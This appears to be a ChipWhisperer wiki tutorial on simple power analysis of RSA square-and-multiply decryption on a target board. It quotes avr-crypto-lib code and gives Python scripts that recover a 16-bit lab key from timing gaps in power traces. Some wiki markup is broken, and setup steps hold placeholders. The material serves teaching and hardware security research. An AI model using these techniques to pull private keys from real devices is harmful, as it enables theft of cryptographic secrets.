Difference between revisions of "Tutorial B11 Breaking RSA"

RSA Attack Theory

We won't go into what RSA is, see the RSA Wikipedia article for a quick background. What we really care about is the following pieces of sudocode from that article used in decrypting a message:

/**
 * Decrypt
 *
 * @param   {c} int / bigInt: the 'message' to be decoded (encoded with RSA.encrypt())
 * @param   {d} int / bigInt: d value returned from RSA.generate() aka private key
 * @param   {n} int / bigInt: n value returned from RSA.generate() aka public key (part I)
 * @returns {bigInt} decrypted message
 */
RSA.decrypt = function(c, d, n){
	return bigInt(c).modPow(d, n);   
};

The most critical piece of information is that value d. It contains the private key, which if leaked would mean a compromise of the entire system. So let's assume we can monitor a target device while it decrypts any message (we don't even care what the message is). Our objective is to recover d.

Let's consider our actual target code, which will be the RSA implementation in avr-crypto-lib. This has been copied over to be part of the ChipWhisperer repository, and you can see the implementation rsa_basic.c of rsa_dec(). The function in question looks like this:

uint8_t rsa_dec(bigint_t* data, const rsa_privatekey_t* key){
	if(key->n == 1){
		bigint_expmod_u(data, data, &(key->components[0]), &key->modulus);
		return 0;
	}
	if(key->n == 5){
		if (rsa_dec_crt_mono(data, key)){
			return 3;
		}
		return 0;
	}
	if(key->n<8 || (key->n-5)%3 != 0){
		return 1;
	}
	//rsa_dec_crt_multi(data, key, (key->n-5)/3);
	return 2;
}

We'll consider the case where key->n == 5, so we have the rsa_dec_crt_mono() to attack. You can see that function Line 53 of that same file. I've removed all the debug code in the following so you can better see the program flow:

uint8_t rsa_dec_crt_mono(bigint_t* data, const rsa_privatekey_t* key){
	bigint_t m1, m2;
	m1.wordv = malloc((key->components[0].length_B /* + 1 */) * sizeof(bigint_word_t));
	m2.wordv = malloc((key->components[1].length_B /* + 1 */) * sizeof(bigint_word_t));
	if(!m1.wordv || !m2.wordv){
		//Out of memory error
		free(m1.wordv);
		free(m2.wordv);
		return 1;
	}
	bigint_expmod_u(&m1, data, &(key->components[2]), &(key->components[0]));
	bigint_expmod_u(&m2, data, &(key->components[3]), &(key->components[1]));
	bigint_sub_s(&m1, &m1, &m2);
	while(BIGINT_NEG_MASK & m1.info){
		bigint_add_s(&m1, &m1, &(key->components[0]));
	}

	bigint_reduce(&m1, &(key->components[0]));
	bigint_mul_u(data, &m1, &(key->components[4]));
	bigint_reduce(data, &(key->components[0]));
	bigint_mul_u(data, data, &(key->components[1]));
	bigint_add_u(data, data, &m2);
	free(m2.wordv);
	free(m1.wordv);
	return 0;
}

Note all the calls to bigint_expmod_u() with the private key material. If we could attack that function, all would be lost. These functions are elsewhere - it's in the bigint.c file at Line 812. Again we can see the source code here:

oid bigint_expmod_u(bigint_t* dest, const bigint_t* a, const bigint_t* exp, const bigint_t* r){
	if(a->length_B==0 || r->length_B==0){
		return;
	}

	bigint_t res, base;
	bigint_word_t t, base_b[MAX(a->length_B,r->length_B)], res_b[r->length_B*2];
	uint16_t i;
	uint8_t j;
	res.wordv = res_b;
	base.wordv = base_b;
	bigint_copy(&base, a);
	bigint_reduce(&base, r);
	res.wordv[0]=1;
	res.length_B=1;
	res.info = 0;
	bigint_adjust(&res);
	if(exp->length_B == 0){
		bigint_copy(dest, &res);
		return;
	}
	uint8_t flag = 0;
	t=exp->wordv[exp->length_B - 1];
	for(i=exp->length_B; i > 0; --i){
		t = exp->wordv[i - 1];
		for(j=BIGINT_WORD_SIZE; j > 0; --j){
			if(!flag){
				if(t & (1<<(BIGINT_WORD_SIZE-1))){
					flag = 1;
				}
			}
			if(flag){
				bigint_square(&res, &res);
				bigint_reduce(&res, r);
				if(t & (1<<(BIGINT_WORD_SIZE-1))){
					bigint_mul_u(&res, &res, &base);
					bigint_reduce(&res, r);
				}
			}
			t<<=1;
		}
	}

	SET_POS(&res);
	bigint_copy(dest, &res);
}

Within that file, the part is the loop at the end. This is actually going through and doing the required a**exp % r function. If you look closely into that loop, you can see there is a variable t, which is set to the value t = exp->wordv[i - 1];. After each run through the loop it is shifted left one. That t variable contains the private key, and the reason it is shifted left is the following piece of code is checking if the MSB is '0' or '1':

bigint_square(&res, &res);
bigint_reduce(&res, r);
if(t & (1<<(BIGINT_WORD_SIZE-1))){
	bigint_mul_u(&res, &res, &base);
	bigint_reduce(&res, r);
}

What does this mean? While there is data-dependent code execution! If we could determine the program flow, we could simply read the private key off one bit at a time. This will be our attack on RSA that we perform in this tutorial.

Hardware Setup

Building Example

Finding SPA Leakage

We'll now get into experimenting with the SPA leakage. To do so we'll use the "SPA Setup" script, then make a few modifications.

Run the SPA setup script.

Under the XXX tab, leave only the "Go Command", and delete the other commands. The RSA demo does not support sending a key, and instead will use the plaintext as a fake-key.

Change the CLKGEN to be CLKGEN x1 via DCM

Change the length of the trigger to be 24000 samples:

If you are using Capture V3.5.2 or later you will have support for the length of the trigger output being high reported back to you. If you run capture-1 for example you'll see the trigger was high for XX cycles:

This is way too long! You won't be able to capture the entire trace in your 24000 length sample buffer. Instead we'll make the demo even shorter - in our case looking at the source code you can see there is a "flag" which is set high only AFTER the first 1 is received. Thus using a fixed plaintext, change the input plaintext to be all 00's (00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</code):

We'll only be able to change the LAST TWO bytes, everything else will be too slow. So change the input plaintext to

 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00

Acquiring Example Data

1. 2x traces with secret key of <code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00
2. 2x traces with secret key of 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 40
3. 2x traces with secret key of 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB E2>/code>
4. 2x traces with secret key of <code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB E3>/code>

The third trace with the <code>AB E2 key will be the most interesting, as we will use that to demonstrate a working attack. To acquire the traces required in the following section perform the following:

Automating Attack

The final step is to automate this attack. There are a few ways to do this - we'll demonstrate a basic method, that you can extend to do a complete attack. In this example we're going to use a repeatable sequence, and look for the delay between this sequence. If we see a larger delay we know a square-multiply has occurred, otherwise it was only a square.

We'll simply define a "reference" sequence, and look for this sequence in the rest of the power trace. The following will be done in regular old Python, so start up your favorite Python editor to finish off the tutorial!

Our objectives are to do the following:

1. Load the trace file.

1. Find a suitable reference pattern.

1. Using the reference pattern, find the timing information and break the RSA power trace.

from chipwhisperer.common.api.CWCoreAPI import CWCoreAPI
from matplotlib.pylab import *
import numpy as np

cwapi = CWCoreAPI()
cwapi.openProject(r'c:\examplelocation\rsa_test.cwp')

tm = cwapi.project().traceManager()
ntraces = tm.numTraces()

#Reference trace
trace_ref = tm.getTrace(0)

plot(trace_ref)

start = 3600
rsa_ref_pattern = trace_ref[start:(start+500)]

from chipwhisperer.common.api.CWCoreAPI import CWCoreAPI
from matplotlib.pylab import *
import numpy as np

cwapi = CWCoreAPI()
cwapi.openProject(r'c:\examplelocation\rsa_test.cwp')

tm = cwapi.project().traceManager()
ntraces = tm.numTraces()

#Reference trace
trace_ref = tm.getTrace(0)

#plot(trace_ref)

#The target trace we will attack
target_trace_number = 3

start = 3600
rsa_one = trace_ref[start:(start+500)]
        
diffs = []

for i in range(0, 22999):
    
    diff = tm.getTrace(target_trace_number)[i:(i+len(rsa_one))] - rsa_one    
    diffs.append(np.sum(abs(diff)))

plot(diffs)

Automating the Attack

The last step is almost the easiest. We'll now count the timing difference between locations we find the template. If we see a longer delay, we know that the system performed a square+multiply, instead of just a square.

You could find the location where it falls below some number (say 10) in a variety of ways. Let's do something like this:

last_t = -1
for t,d in enumerate(diffs):
    
    if d < 10: 
        if last_t > 0:
            delta = t-last_t
            print delta
        last_t = t

Which should give you an output like the following (specific numbers will vary):

<syntaxahighlight> 1855 1275 1275 1275 1275 1275 1275 1286 1275 1275 1275 1528 1275 1275 1275 </syntaxhighlight>

Not there is a pretty long delay in the first run through, but later runs have roughly a constant time. There is three possible delays used in later bits:

• 1275 - The standard delay, indicating a square only ('0' in key-bit).
• 1286 - The standard delay with a little extra since it has finished processing an 8-bit chunk ('0' in key-bit still).
• 1528 - A much longer delay resulting from a square+multiply.

We can recover the complete key by simply looking at the delay value. We will arbitrarily choose a delay of longer than 1500 cycles indicating that a '1' has occurred, meaning we can recover the complete key using something like the following piece of code:

recovered_key = 0x0000
bitnum = 17

last_t = -1
for t,d in enumerate(diffs):
    
    if d < 10:        
        bitnum -= 1
        if last_t > 0:
            delta = t-last_t
            
            print delta
            
            if delta > 1300:
                recovered_key |= 1<<bitnum
                

        last_t = t
    
print("Key = %04x"%recovered_key)

Note the following problems with this code:

• Requires you to specify bit-length.
• Does not determine if last bit is a '1' (as has nothing after the last bit to compare to).

You can try to extend the above code by (1) counting the number of matches of the template, and (2) attempting to template the processing of the '1' bit instead, and directly determining where a '1' processing is occurring. This may require to to experiment with the location of the reference template.

The following shows a complete attack script which should recover the 'AB E2' key (but will fail with the AB E3 key):

from chipwhisperer.common.api.CWCoreAPI import CWCoreAPI
from matplotlib.pylab import *
import numpy as np

cwapi = CWCoreAPI()
cwapi.openProject(r'c:\users\colin\chipwhisperer_projects\tmp\rsa_test_16byte_80.cwp')

tm = cwapi.project().traceManager()
ntraces = tm.numTraces()

#Reference trace
trace_ref = tm.getTrace(0)

#plot(trace_ref)

#The target trace we will attack
#If following tutorial:
#0/1 = 80 00
#2/3 = 81 40
#4/5 = AB E2
#6/7 = AB E3 (this won't work as we don't detect the last 1)
target_trace_number = 4

start = 3600
rsa_one = trace_ref[start:(start+500)]
        
diffs = []

for i in range(0, 22999):
    
    diff = tm.getTrace(target_trace_number)[i:(i+len(rsa_one))] - rsa_one    
    diffs.append(np.sum(abs(diff)))
#plot(diffs)
    
recovered_key = 0x0000
bitnum = 17

last_t = -1
for t,d in enumerate(diffs):
    
    if d < 10:        
        bitnum -= 1
        if last_t > 0:
            delta = t-last_t
            
            print delta
            
            if delta > 1300:
                recovered_key |= 1<<bitnum
                

        last_t = t
    
print("Key = %04x"%recovered_key)

Extending the Tutorial

The previous tutorial is a basic attack on the core RSA algorithm. There are several extensions of it you can try. As mentioned you can improve the automatic key recover algorithm. You can also try performing this attack on longer key lengths -- this is made much easier with the ChipWhisperer-Pro, as it can use "streaming mode" to recover an extremely long key.

The ChipWhisperer-Pro has a unique analog trigger feature. This can also be used to break the RSA algorithm by simply performing the pattern match in real-time, and measuring the time delay of triggger locations. This is demonstrated in the next section.